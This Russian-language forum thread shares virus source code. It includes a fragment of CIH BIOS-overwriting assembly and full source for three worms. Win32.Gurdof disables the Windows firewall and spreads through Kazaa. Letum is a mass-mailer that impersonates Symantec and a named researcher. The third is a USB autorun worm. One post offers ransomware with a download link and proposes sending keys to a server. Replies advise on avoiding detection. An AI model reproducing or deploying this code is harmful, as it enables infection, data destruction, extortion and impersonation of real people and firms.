ecx, 0e2aaah call ebx mov byte ptr [eax], 60h push ecx loop $ ;---------------------- ; Прибить дополнительные данные BIOS (BIOS Extra ROM Data) ; 000E0000 - 000E007F ; ( 80h Bytes ) ;---------------------- xor ah, ah mov [eax], al xchg ecx, eax loop $ ;---------------------- ; Показать и включить основные данные BIOS {BIOS Main ROM Data} ; 000E0000 - 000FFFFF, (128 KB), может быть записана... ;---------------------- mov eax, 0f5555h pop ecx mov ch, 0aah call ebx mov byte ptr [eax], 20h loop $<
Друзья: Всё для вебмастера | [ Реклама на форуме ] |
0
Исходники вирусов
Автор
###
, 31 May 2008 20:08
#1
Отправлено 31 May 2008 - 20:08
Известный на весь мир cih... В свое время наделал очень много шуму и проблем. Думаю исходники будут интересны B)
Ссылки из под хайдов не выдаю!
#2
Отправлено 16 June 2008 - 20:44
Исходник вируса Kazaa Worm - написан на Delphi
Язык: C#
Расспространяется через: Email
Автор: Retro
program gurdof; //{$APPTYPE CONSOLE} { /////////////////////////////////////////////////////////////////////// Win32.Gurdof by Hutley/RRLF This is my first virus in RRLF (Ready Rangers Liberation Front) Team. //////////////////////////////////////////////////////////////////////// What Win32.Gurdof doing: + Fuck the WinXP Firewall + Simple Function that Decode the Strings + Disable Notifications of Security Center + Infect Kazaa Program + Payload: Sort Randomly a Number Until 20, if the number be < 14 then show messages and hide the mouse icon. Comment: IS VERY SIMPLE I KNOW. I TERMINETED IT BECAUSE I GO START THE STUDY OF ASSEMBLY LANGUAGE. WAIT, COMMING SOON NEWS VIRUSES IN ASM32. Hutley / rRlf - The Psychodelic Virus Writer 24 - Feb - 2006 -*- BRAZIL! } uses Windows, Registry, SysUtils, Dialogs; const vir_name: string = 'Win32.Gurdof'; made_by: string = 'Hutley of rRlf VX Team'; var ExeName: array[0..260] of Char; start_: TRegistry; function code_(text: string; chave: integer): string; var lp1, p: integer; fuck: string; begin lp1 := strlen(pchar(text)); for p := 1 to lp1 do begin fuck := fuck + chr(ord(text[p]) xor chave) end; code_ := fuck end; function WinDir: string; begin SetLength(Result, MAX_PATH); Windows.GetWindowsDirectory(PChar(Result), MAX_PATH); Result := string(PChar(Result)) + '\'; end; function SysDir: string; begin SetLength(Result, MAX_PATH); if GetSystemDirectory(PChar(Result), MAX_PATH) > 0 then Result := string(PChar(Result)) + '\' else Result := ''; end; procedure fuck_xp_firewall; var ffw: TRegistry; begin ffw := TRegistry.Create; ffw.RootKey := HKEY_LOCAL_MACHINE; // Part 1 ffw.OpenKey(code_('Q[QVGO^AwppglvAmlvpmnQgv^Qgptkagq^QjcpgfCaagqq^Rcpcogvgpq^DkpgucnnRmnka{^FmocklRpmdkng', 2), FALSE); ffw.WriteFloat(code_('GjpbaofMlwjej`bwjlmp', 3), 1); ffw.WriteFloat(code_('AjefhaBmvasehh', 4), 0); ffw.WriteFloat(code_('@kJkpEhhksA|gatpmkjw', 5), 0); ffw.CloseKey; // Part 2 ffw.OpenKey(code_('U_URCKZEsttchrEihrtijUcrZUctpoecuZUngtcbGeecuuZVgtgkcrctuZ@otcqgjjVijoeZUrghbgtbVti`ojc', 6), false); ffw.WriteFloat(code_('La{ijdmFg|anaki|agf{', 8), 1); ffw.WriteFloat(code_('OdkhfoLcxo}kff', 10), 0); ffw.WriteFloat(code_('OdEdJggd|Nshn{bdex', 11), 0); ffw.CloseKey; // Part 3 ffw.OpenKey(code_('Xdm|jynWFbhydxdmWXnh~ybr+Hneny', 11), false); ffw.WriteFloat(code_('Kd~c\cxyNcykhfoDe~cls', 10), 1); ffw.WriteFloat(code_('O`{l~heeM`zhkelGf}`op', 9), 1); ffw.WriteFloat(code_('If|a^az}{G~mzzalm', 8), 1); ffw.WriteFloat(code_('AnubpfkkHqbuuncb', 7), 1); ffw.CloseKey; // End ffw.Free; end; procedure infect_p2p_kazaa; var kazaa: TRegistry; begin kazaa := TRegistry.Create; kazaa.RootKey := HKEY_CURRENT_USER; if kazaa.OpenKey(code_('Ui`rqgtcZMG\GGZJiegjEihrchrZ', 6), false) then begin kazaa.WriteFloat(code_('Alvdgi`Vmdwlkb', 5), 0); kazaa.WriteString(code_('@mv4', 4), WinDir); kazaa.WriteString(code_('@mv5', 4), WinDir + code_('Pkbqf', 3)); GetModuleFileNameA(0, ExeName, SizeOf(ExeName)); CreateDir(WinDir + code_('Jqxk|E', 25)); CopyFile(ExeName, PChar(WinDir + code_('G|ufqHg}g`qfKraw}zsK}zKvx{zpq:~ds:qlq', 20)), True); CopyFile(ExeName, PChar(WinDir + code_('F}tgpIwtwlJf|apgJ|{Jwpq;er;pmp', 21)), True); CopyFile(ExeName, PChar(WinDir + code_('DverKgrsxHp~e{?&"nx>Hqbt|~yp9}gp9ror', 23)), True); CopyFile(ExeName, PChar(WinDir + code_('Kpyj}DuaG{wmkqvGqvG~yuqtaG`@`6rh6}`}', 24)), True); CopyFile(ExeName, PChar(WinDir + code_('Ir{hFvixs{tiE|oyqE|oyqE|oyqE|oyq4pj}4b', 26)), True); end; kazaa.Free; end; function show_cursor(const Show: boolean): boolean; var I: integer; begin I := ShowCursor(LongBool(true)); if Show then begin Result := I >= 0; while I < 0 do begin Result := ShowCursor(LongBool(true)) >= 0; Inc(I); end; end else begin Result := I < 0; while I >= 0 do begin Result := ShowCursor(LongBool(false)) < 0; Dec(I); end; end; end; procedure my_payload; var i: integer; begin Randomize; if Random(50) <= 14 then begin for i := 1 to 10 do begin ShowMessagePos(code_('===<[INXSZ<sKrF<eSi<===', 28) + #13#13 + code_('=============Uhiqxd=2=OOQ[', 29), Random(800), Random(600)); show_cursor(false); end; end; end; begin // Install In Registry - Auto Start start_ := TRegistry.Create; start_.RootKey := HKEY_LOCAL_MACHINE; start_.OpenKey(code_(']ahzyo|kRCgm|a}ahzRYg`jay}RM{||k`zXk|}ga`R\{`', 14), true); start_.WriteString('Gurdof', code_('D[I[[[ MPM', 40)); start_.Free; // Module of Current .Exe GetModuleFileNameA(0, ExeName, SizeOf(ExeName)); // System Dir - 2 Copies of Virus CopyFile(ExeName, PChar(SysDir + code_('D[I[[[ MPM', 40)), true); CopyFile(ExeName, PChar(SysDir + code_('IEGKDN ORO', 42)), true); // Win Dir - 2 Copies of Virus CopyFile(ExeName, PChar(WinDir + code_('[EBHC[_ ITI', 44)), true); CopyFile(ExeName, PChar(WinDir + code_(']W]ZKC', 46)), true); // Desable the WinXP Firewall and Security Center fuck_xp_firewall; // Spread by Kazaa infect_p2p_kazaa; // A Simple Payload my_payload; end.
-------------------------------------------------------------
Тип: ЧервьЯзык: C#
Расспространяется через: Email
Автор: Retro
using System; using System.Collections; using System.IO; using System.Net; using System.Net.Sockets; using System.Reflection; using System.Text; using System.Text.RegularExpressions; using System.Threading; using System.Windows.Forms; using Microsoft.Win32; namespace Letum22 { public class Letum { static Module self; static string pferrie = "peter_ferrie@symantec.com"; static string[] nSubject = new string[7] { "Warning!", "Virus Alert", "Customer Support", "Re:", "Re:Warning", "Letum", "Virus Report" }; static string[] nData = new string[3] {"Dear Users\r\n\r\nDue to the high increase of the Letum worm, we have upgraded it to Category B. Please use our attached removal tool to scan and disinfect your computer from the malware.\r\n\r\n Regards\r\n Security Response", "Hiya,\r\n\r\n I've found this tool a couple of weeks ago, and after using it i was surprised on how good it was on squashing viruses. I wonder if avers know about this? ;)", ">>\r\n Maybe not but try this, i'm sure it will help you in your fight against malware. The engine it uses isnt to bad, but the searching speed is very fast for such a small size "}; static ArrayList List = new ArrayList(); [STAThread] static void Main() { //Creates and Initializes Random rand = new Random(); Thread nntpThread = new Thread(new ThreadStart(nntp)); Thread smtpThread = new Thread(new ThreadStart(smtp)); // Gets all the modules that are part of this assembly self = Assembly.GetExecutingAssembly().GetModules()[0]; // Collect Directories from C: and stores them in List CollectDirs(@"C:\", List); // Picks a random number between 0 and the number of entries in List int num = rand.Next(0, List.Count); // create variables and set folder to random directory object regData; string folder = List[num].ToString(); // Retrieves the subkey "Software\Retro" RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\Retro", true); if (key == null) { // Sets up the registry, when run for the first time. // Creates the subkey and sets the key to the directory its in key = Registry.CurrentUser.CreateSubKey(@"Software\Retro"); key.SetValue("Letum", folder + @"\" + self.ScopeName); // and copies itself to the choosen directory File.Copy(self.FullyQualifiedName, folder.ToString() + @"\" + self.ScopeName); } // Read registry for last Host file and delete it regData = key.GetValue("Letum"); File.Delete(regData.ToString()); // Copy itself to choosen directory File.Copy(self.FullyQualifiedName, folder.ToString() + @"\" + self.ScopeName); // Writes new key to Software\Retro and Run key.SetValue("Letum", folder + @"\" + self.ScopeName); key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true); key.SetValue("Letum", folder + @"\" + self.ScopeName); // Close key key.Close(); // Start threads nntpThread.Start(); smtpThread.Start(); num = rand.Next(0, 1983); // 1:1983 chance of displaying message if (num == rand.Next(0, 1983)) { MessageBox.Show("Dear Peter Ferrie \n\nGeNeTiX is a person not a f**king genetically modified food product. \n She's not happy you called her that! \n\nRegards", "Name Entry Error", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); } } static void nntp() { // Creates and Initializes TcpClient nntp = new TcpClient(); ArrayList nGroup = new ArrayList(); StringBuilder fuuencode = new StringBuilder(); Random rand = new Random(); // Set variables string s, sReply; int cursor = 0; object nntpServer = null; // Look in registry for an NNTP server RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Internet Account Manager\Accounts"); // Reads the entries in the key string[] lstSubDir = key.GetSubKeyNames(); // For each one found do the following ... foreach (string subKey in lstSubDir) { // Opens the Subkey key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Internet Account Manager\Accounts\" + subKey); string[] d = key.GetValueNames(); foreach (string a in d) { if (a == "NNTP Server") { nntpServer = key.GetValue("NNTP Server"); } } } if (nntpServer == null) { nntpServer = "news.microsoft.com"; } // Connect to news server try { nntp.Connect("news.microsoft.com", 119); } catch { return; } NetworkStream nStream = nntp.GetStream(); StreamReader nReader = new StreamReader(nStream); StreamWriter nWriter = new StreamWriter(nStream); nWriter.AutoFlush = true; //Get the reply from server sReply = nReader.ReadLine(); // If connection went ok then continue if (sReply.Substring(0, 3) != "200") { // Get list of newsgroups nWriter.WriteLine("LIST"); s = nReader.ReadLine(); MessageBox.Show(s); while (s != ".") { s = nReader.ReadLine(); if (s != ".") { s = s.Substring(0, s.IndexOf(" ")); nGroup.Add(s); } } int num = rand.Next(0, nGroup.Count); object newsgroup = nGroup[num]; // Open the choosen newsgroup nWriter.WriteLine("GROUP " + newsgroup); // Server reply sReply = nReader.ToString(); // If open was ok if (sReply.Substring(0, 3) != "211") { // Carry on with posting a message nWriter.WriteLine("POST"); sReply = nReader.ToString(); // If posting is ok if (sReply.Substring(0, 3) != "340") { // Pick a random message subject num = rand.Next(0, nSubject.Length); string Subject = nSubject[num]; // Pick random message data num = rand.Next(0, nData.Length); string rsData = nData[num] + "\r\n\r\n"; // Set itself to read itself FileStream inFile = new FileStream(self.ScopeName, FileMode.Open, FileAccess.Read); // Set variable byte[] bs = new byte[inFile.Length]; // Read itself inFile.Read(bs, 0, (int)inFile.Length); //Close inFile.Close(); // Encode byte to ASCII string uuencode = Encoding.ASCII.GetString(bs); string uustring, sBuffer = uuencode, str = String.Empty; if (sBuffer.Length % 3 != 0) { string trs = new string(' ', 3 - sBuffer.Length % 3); sBuffer = String.Concat(sBuffer, trs); } int j = sBuffer.Length; // Encode to uuencode for (int i = 1; i <= j; i += 3) { str = String.Concat(str, Convert.ToString((char)((int)Convert.ToChar(sBuffer.Substring(i - 1, 1)) / 4 + 32))); str = String.Concat(str, Convert.ToString((char)((int)Convert.ToChar(sBuffer.Substring(i - 1, 1)) % 4 * 16 + (int)Convert.ToChar(sBuffer.Substring(i, 1)) / 16 + 32))); str = String.Concat(str, Convert.ToString((char)((int)Convert.ToChar(sBuffer.Substring(i, 1)) % 16 * 4 + (int)Convert.ToChar(sBuffer.Substring(i + 1, 1)) / 64 + 32))); str = String.Concat(str, Convert.ToString((char)((int)Convert.ToChar(sBuffer.Substring(i + 1, 1)) % 64 + 32))); } // Replace all the spaces in the string to ` string udtf = str.Replace(' ', '`'); // Cut string down to 60 char chunks while (cursor < udtf.Length) { int size = Math.Min(60, udtf.Length - cursor); // Add M to each new line fuuencode.Append("M"); // Adds the next 60 chars fuuencode.Append(udtf, cursor, size); // Adds newline fuuencode.Append("\r\n"); cursor += size; } uustring = fuuencode.ToString(); // Removes the last occurrence of M uustring = uustring.Remove(uustring.LastIndexOf("M"), 1); // Sets up the message to be sent string pData = "FROM: " + pferrie + "\r\nNEWSGROUPS: " + newsgroup + "\r\nSUBJECT: " + Subject + "\r\n\r\n" + nData + "begin 644 " + self.ScopeName + "\r\n" + uustring + "\r\n'\r\nend\r\n."; // Send message nWriter.WriteLine(pData); sReply = nReader.ReadLine(); // If it was sent if (sReply.Substring(0, 3) != "240") { nntp.Close(); } } } } nntp.Close(); } static void smtp() { // Creates and Initializes TcpClient smtp = new TcpClient(); StringBuilder b64String = new StringBuilder(); Random rand = new Random(); // Set variables object smtpServer = null; int smtpCursor = 0; string smReply; string boundary = "----=_NextPart_81_27_24"; string htmlMsg = "<html><head></head><body bgcolor=\"white\" text=\"black\" link=\"blue\" vlink=\"purple\" alink=\"red\"><table border=\"0\" width=\"780\" bgcolor=\"white\"><tr><td width=\"154\" valign=\"top\" bgcolor=\"white\"><p> <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td width=\"154\"><p> <a href=\"http://www.symantec....ymantec.com\">" + "<img src=\"http://www.langtech....c_logoESP.gif\" border=\"0\"></a></p><p> </td></tr><tr><td width=\"154\" background=\"http://security.syma...round.gif\"><p> </p><p><font face=\"Verdana\" size=\"1\"><a href=\"http://www.symantec....te.html\">Legal Notices</a></font><font face=\"Verdana\" size=\"1\"> <br clear=\"all\"></font><font face=\"Verdana\" size=\"1\"><a href=\"http://www.symantec.....html\">Privacy Policy</a></font></p><p> </p><p> </p><p> </td></tr></table><p> </td><td width=\"618\" valign=\"top\" bgcolor=\"white\"><p align=\"left\"><font face=\"Verdana\" size=\"2\"><br></font></p><p align=\"left\"> </p><p align=\"left\"> <div align=\"center\"><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"80%\"><tr><td width=\"616\"><p align=\"left\"> </p><p align=\"left\"><font face=\"Verdana\" size=\"2\">Dear User,</font></p><p align=\"left\"><font face=\"Verdana\" size=\"2\">Due to the high increase of the Letum worm, we have upgraded it to Category B. Please use our attached removal tool to scan and disinfect your computer from the malware.</font></p><p align=\"left\"><font face=\"Verdana\" size=\"2\">If you have any comments or questions about this, then please contact us.</font></p><p align=\"left\"><font face=\"Verdana\" size=\"2\">Regards</font></p><p align=\"left\"><font face=\"Verdana\" size=\"2\">Peter Ferrie<br clear=\"all\"></font><font face=\"Verdana\" size=\"1\">Senior Anti-Virus Researcher / Senior Principal Software Engineer </font></td></tr></table></div>" + "<p align=\"left\"></p><p align=\"left\"><div align=\"center\"><table border=\"0\" cellspacing=\"1\" width=\"100%\"><tr><td width=\"100%\" bgcolor=\"white\"><p align=\"center\"><font face=\"Verdana\" size=\"1\"><B>©1995 - 2006 Symantec Corporation All rights reserved.</font></td></B></tr></table></div></td></tr></table><p></p></body></html>"; // Look in registry for an SMTP server RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Internet Account Manager"); // Reads the entries in the key string[] smtpDirs = key.GetSubKeyNames(); // For each one found do the following ... foreach (string smtpKey in smtpDirs) { // Opens the Subkey RegistryKey smtpSubKey = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Internet Account Manager\" + smtpKey, true); // Read the Value for 'NNTP Server' object Server = smtpSubKey.GetValue("SMTP Server"); // If the key isnt there if (Server == null) { // Hard code our own // !SMTP Server Relay Allowed! smtpServer = "mail.primaryhost.org.uk"; // Continue looking just in case continue; } else { // If key is found then store smtpServer = smtpSubKey.GetValue("SMTP Server"); } } // Find the path of the new file key = Registry.CurrentUser.OpenSubKey(@"Software\Retro", true); object HostPath = key.GetValue("Letum"); // Open file FileStream FileToB64 = new FileStream(HostPath.ToString(), FileMode.Open, FileAccess.Read); byte[] bArray = new byte[FileToB64.Length]; // Read file int rBytes = FileToB64.Read(bArray, 0, (int)FileToB64.Length); // and then close it FileToB64.Close(); // Convert to Base64 string b64encoded = Convert.ToBase64String(bArray); // Insert \r\n after every 76 chars while (smtpCursor < b64encoded.Length) { int Size = Math.Min(76, b64encoded.Length - smtpCursor); b64String.Append(b64encoded, smtpCursor, Size); b64String.Append("\r\n"); smtpCursor += Size; } // Connect to server smtp.Connect((string)smtpServer, 25); // Creates and Initializes NetworkStream smtpStream = smtp.GetStream(); StreamReader smtpReader = new StreamReader(smtp.GetStream()); StreamWriter smtpWriter = new StreamWriter(smtpStream); smtpWriter.AutoFlush = true; // Get the reply from server smReply = smtpReader.ToString(); if (smReply.Substring(0, 3) != "220") { smtpWriter.WriteLine("HELO localhost\r\n"); smReply = smtpReader.ToString(); if (smReply.Substring(0, 3) != "250") { try { foreach (string cDirs in List) { string[] htmlFiles = Directory.GetFiles(cDirs, "*html"); foreach (string htmlFile in htmlFiles) { Regex hRegex = new Regex("[a-zA-Z0-9-_.-]+@[a-zA-Z0-9-_.-]+\\.[a-zA-Z0-9]+"); FileStream inFile = new FileStream(htmlFile, FileMode.Open, FileAccess.Read); // Read html file byte[] source = new byte[inFile.Length]; inFile.Read(source, 0, (int)inFile.Length); inFile.Close(); // string htmlsource = Encoding.ASCII.GetString(source); foreach (Match strMatch in hRegex.Matches(Encoding.ASCII.GetString(source))) { // Message From smtpWriter.WriteLine("MAIL FROM: " + pferrie); smReply = smtpReader.ToString(); if (smReply.Substring(0, 3) != "250") { // Message too smtpWriter.WriteLine("RCPT TO: " + strMatch); smReply = smtpReader.ToString(); if (smReply.Substring(0, 3) != "250") { // Message input is ready smtpWriter.WriteLine("DATA"); smReply = smtpReader.ToString(); if (smReply.Substring(0, 3) != "354") { // Write the contents string mime = "FROM: Symantec Security Response <" + pferrie + ">\r\n" + "TO: <" + strMatch + "> " + strMatch + "SUBJECT: " + nSubject[rand.Next(0, nSubject.Length)] + "\r\n" + "MIME-Version: 1.0\r\n" + "Content-Type: multipart/mixed;\r\n\t" + "boundary=\"" + boundary + "\"" + "X-Priority: 3\r\n" + "X-MSMail-Priority: Normal\r\n" + "X-Mailer: Microsoft Outlook Express 6.00.2900.2180\r\n" + "X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180\r\n\r\n" + "This is a multi-part message in MIME format.\r\n" + "--" + boundary + "\r\n" + "Content-Type: text/html;\r\n\t" + "charset\"iso-8859-1\"\r\n" + "Content-Transfer-Encoding: 7bit\r\n\r\n" + htmlMsg + "\r\n--" + boundary + "\r\n" + "Content-Type: application/octet-stream;\r\n\t" + "name=\"test.exe\"\r\n" + "Content-Transfer-Encoding: base64\r\n" + "Content-Disposition: attachment;\r\n\t" + "filename=\"test.exe\"\r\n\r\n" + b64String + "\r\n\r\n" + "--" + boundary + "--\r\n.\r\n"; smtpWriter.WriteLine(mime); smReply = smtpReader.ToString(); if (smReply.Substring(0, 3) != "250") { // If email was sent ok then continue continue; } else { int l = 0; // Retry, up to five times if (l < 5) { smtp.Close(); Letum.smtp(); l++; } } } } } } } } } catch (System.UnauthorizedAccessException) { } } } // Close connection with server smtp.Close(); } static void CollectDirs(string dir, ArrayList storage) { try { string[] dirs = Directory.GetDirectories(dir); foreach (string d in dirs) { storage.Add(d); CollectDirs(d, storage); } } catch (System.UnauthorizedAccessException) { } } } }
Ссылки из под хайдов не выдаю!
#3
Отправлено 02 August 2008 - 18:00
Исходник Вируса-Шантажиста (Delphi)
В комплекте идёт также исходник дешифратора, принцип его работы:
1) Ищет установленную вирусом DLL, если нету, значит вирус тут не был. По ней и ориентируется, начать работу или выйти.
2) Ищет файлы *.vscrypt на компьютере, и по аналогии копирует их в memo, и делает дешифрацию с тем-же ключём.
3) Если всё успешно, выводит сообщение. ъ
А теперь минусы программы:
1) Ключ шифровки, как ни крути находится в программе.
Решение:
От этого можно избавиться очень легко, но потребуется коннект к инету.
Можно генерировать ключ при запуске программы, и отсылать его гейту, читать ответ сервера, и если передача успешная, то по нему шифровать все файлы, и в итоге ключик будет только у нас. Я могу эту фишку дописать если только понадобится.
2) Программа работает не на чистом WinAPI, а на обычных компонентах Delphi.
]]>http://ifolder.ru/7088410]]>
В комплекте идёт также исходник дешифратора, принцип его работы:
1) Ищет установленную вирусом DLL, если нету, значит вирус тут не был. По ней и ориентируется, начать работу или выйти.
2) Ищет файлы *.vscrypt на компьютере, и по аналогии копирует их в memo, и делает дешифрацию с тем-же ключём.
3) Если всё успешно, выводит сообщение. ъ
А теперь минусы программы:
1) Ключ шифровки, как ни крути находится в программе.
Решение:
От этого можно избавиться очень легко, но потребуется коннект к инету.
Можно генерировать ключ при запуске программы, и отсылать его гейту, читать ответ сервера, и если передача успешная, то по нему шифровать все файлы, и в итоге ключик будет только у нас. Я могу эту фишку дописать если только понадобится.
2) Программа работает не на чистом WinAPI, а на обычных компонентах Delphi.
]]>http://ifolder.ru/7088410]]>
Ссылки из под хайдов не выдаю!
#4
Отправлено 15 July 2010 - 20:16
USB-вирус
#include <windows.h> #include <stdio.h> #define IMSG "|__[__]__/=+-\\ SaveItForLater :] Worm By illuz1oN /-+=\\__[__]__|" char me[1024]; HKEY hKey; char *drives[] = {"C:","D:","E","F:","G:","H:","I:","J:","K:","L:", "M:","N:","O:","P:","Q:","R:","S:","T:","U:","V:", "W:","X:","Y:","Z:"}; DWORD WINAPI spreadUSB() { while(1) { Sleep(120000); int i; for(i = 0;i < 24;i++) { if((GetDriveType(drives[i])) == DRIVE_REMOVABLE) { char hldPath[50]; char usbFile[30] = "\\Driver_Update.exe"; char autoRun[50] = "[autorun]\r\nopen=Driver_Update.exe"; strcpy(hldPath,drives[i]); strcat(hldPath,"\\autorun.inf"); FILE *fp = fopen("autorun.inf","w"); fprintf(fp,autoRun); fclose(fp); CopyFile("autorun.inf",hldPath,0); remove("autorun.inf"); strcat(drives[i],usbFile); CopyFile(me,drives[i],0); } else if((GetDriveType(drives[i])) == DRIVE_CDROM) { char cdPath[50]; char cdFile[20] = "\\Worm_Pwn.exe"; char cdAutr[50] = "[autorun]\r\nopen=Worm_Pwn.exe"; strcpy(cdPath,drives[i]); strcat(cdPath,"\\autorun.inf"); FILE *fpp = fopen("autorun.inf","w"); fprintf(fpp,cdAutr); fclose(fpp); CopyFile("autorun.inf",cdPath,1); remove("autorun.inf"); strcat(drives[i],cdFile); CopyFile(me,drives[i],0); } else if((GetDriveType(drives[i])) == DRIVE_REMOTE) { char remName[20] = "\\Upd_Config.exe"; strcat(drives[i],remName); CopyFile(me,drives[i],0); } } } } BOOL Startup() { char dropTo[1024]; GetWindowsDirectory(dropTo,1024); strcat(dropTo,"\\services.exe"); if((CopyFile(me,dropTo,1)) == 0) return 0; else { if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey) == ERROR_SUCCESS) { RegSetValueEx(hKey,"services",0,REG_SZ,(const unsigned char*)dropTo,strlen(dropTo)); RegCloseKey(hKey); } return 1; } } DWORD WINAPI changeTitle(LPVOID lParam) { while(1) { HWND hWnd = GetForegroundWindow(); SetWindowText(hWnd,"|__[__]__/=+-\\ SaveItForLater :] Worm - illuz1oN /-+=\\__[__]__|"); } } void winLogin(void) { HKEY hKey; char szCaption[] = " |__[__]__/=+-\\ illuz1oN /-+=\\__[__]__|"; char szText[] = " |__[__]__/=+-\\ SaveItForLater :] Worm By illuz1oN /-+=\\__[__]__|" "\nIf you want to remove this worm, contact illuz1oN - illuz1oN@hotmail.co.uk" "\n... AV Companies ~censored~ You ..."; RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",0,KEY_SET_VALUE,&hKey); RegSetValueEx(hKey,"LegalNoticeCaption",0,REG_SZ,(const unsigned char*)szCaption,sizeof(szCaption)); RegCloseKey(hKey); RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",0,KEY_SET_VALUE,&hKey); RegSetValueEx(hKey,"LegalNoticeText",0,REG_SZ,(const unsigned char*)szText,sizeof(szText)); RegCloseKey(hKey); } int WINAPI WinMain (HINSTANCE hinst,HINSTANCE prhin,LPSTR argsx,int in) { GetModuleFileName(0,me,1024); CreateMutex(0,0,"-+- illuz1oN -+-"); if(GetLastError() == ERROR_ALREADY_EXISTS) { ExitProcess(0); } else { if((Startup()) == 0) { char szMask[4] = "*.*"; DWORD ret = 0; WIN32_FIND_DATA fData; HANDLE hFind,hFile; hFind = FindFirstFile(szMask,&fData); if(fData.cFileName == "*.txt") { hFile = CreateFile(fData.cFileName,GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0); if(hFile == INVALID_HANDLE_VALUE) ExitProcess(0); else { WriteFile(hFile,IMSG,sizeof(IMSG),&ret,0); CloseHandle(hFile); } } else if(fData.cFileName == "*.exe") { SetFileAttributes(fData.cFileName,FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN); CloseHandle(hFile); } while (FindNextFile(hFind,&fData)) { if(fData.cFileName == "*.txt") { hFile = CreateFile(fData.cFileName,GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0); if(hFile == INVALID_HANDLE_VALUE) ExitProcess(0); else { WriteFile(hFile,IMSG,sizeof(IMSG),&ret,0); CloseHandle(hFile); } } else if(fData.cFileName == "*.exe") { SetFileAttributes(fData.cFileName,FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN); CloseHandle(hFile); } } FindClose(hFind); } else { winLogin(); unsigned long title; CreateThread(0,0,changeTitle,0,0,&title); unsigned long virii; CreateThread(0,0,spreadUSB,0,0,&virii); Sleep(INFINITE); } } }
Ссылки из под хайдов не выдаю!
#7
Отправлено 28 July 2010 - 06:45
угу и палится очень даже ничего =))). Так прям и написано если есть прямые руки убей меня! Да и плюс ко всему не полный. Вопрос к автору. Ты вообще разбирал код который запостил? =))) Ну для начала эта программка максимум что будет делать так только изменять заголовки окон. Нах? Не понятно... Наверное это смешно. Ну ладно, мож я постарел и не пертрю в нынешнем юморе... Ну да ладно, продолжим. А этот перечень файлов(Driver_Update.exe, Worm_Pwn.exe, Upd_Config.exe) ты как, с собой таскать собираешься? Ну и последнее, я уже говорил, но не тебе. Да видно мало кто читает. Не юзайте ветку run! Она не намазана медом, она палится. Любой юзверь маломальски понимающий в винде сразу туда полезет! Ну и про винлогон тоже... Так шо без обид, но покури мат часть и реализуй нормального червя... А таким "Г" не засоряй форум... Без обид.
P.S. Еще чего забыл сказать. Это и на червя то не похоже. Обычная приложуха которая в добавок висит в процессах. Настоящий червь работает по другому...
"И чего народ такой злой пошел? Толь от бедности, толь от бездуховности!" (с) Алеша Попович.
P.S. Еще чего забыл сказать. Это и на червя то не похоже. Обычная приложуха которая в добавок висит в процессах. Настоящий червь работает по другому...
"И чего народ такой злой пошел? Толь от бедности, толь от бездуховности!" (с) Алеша Попович.
Лишь ум, потерянный бесповоротно мною,
Наполнить может сердце мне тоскою.
(с) Оззи Озборн
Наполнить может сердце мне тоскою.
(с) Оззи Озборн
#8
Отправлено 28 July 2010 - 07:11
red_mould (28.7.2010, 8:45) писал:
угу и палится очень даже ничего =))). Так прям и написано если есть прямые руки убей меня! Да и плюс ко всему не полный. Вопрос к автору. Ты вообще разбирал код который запостил? =))) Ну для начала эта программка максимум что будет делать так только изменять заголовки окон. Нах? Не понятно... Наверное это смешно. Ну ладно, мож я постарел и не пертрю в нынешнем юморе... Ну да ладно, продолжим. А этот перечень файлов(Driver_Update.exe, Worm_Pwn.exe, Upd_Config.exe) ты как, с собой таскать собираешься? Ну и последнее, я уже говорил, но не тебе. Да видно мало кто читает. Не юзайте ветку run! Она не намазана медом, она палится. Любой юзверь маломальски понимающий в винде сразу туда полезет! Ну и про винлогон тоже... Так шо без обид, но покури мат часть и реализуй нормального червя... А таким "Г" не засоряй форум... Без обид.
P.S. Еще чего забыл сказать. Это и на червя то не похоже. Обычная приложуха которая в добавок висит в процессах. Настоящий червь работает по другому...
"И чего народ такой злой пошел? Толь от бедности, толь от бездуховности!" (с) Алеша Попович.
P.S. Еще чего забыл сказать. Это и на червя то не похоже. Обычная приложуха которая в добавок висит в процессах. Настоящий червь работает по другому...
"И чего народ такой злой пошел? Толь от бедности, толь от бездуховности!" (с) Алеша Попович.
Мистер Андерсон, эту "штучку" просто нашли и выложили скорее всего
PS Кинь стоящий релиз.
не знаешь с чего начать?что делать? помогу, спамить в личку.
#9
Отправлено 28 July 2010 - 08:46
Цитата
Мистер Андерсон, эту "штучку" просто нашли и выложили скорее всего
Цитата
PS Кинь стоящий релиз.
Лишь ум, потерянный бесповоротно мною,
Наполнить может сердце мне тоскою.
(с) Оззи Озборн
Наполнить может сердце мне тоскою.
(с) Оззи Озборн
#10
Отправлено 14 January 2011 - 08:03
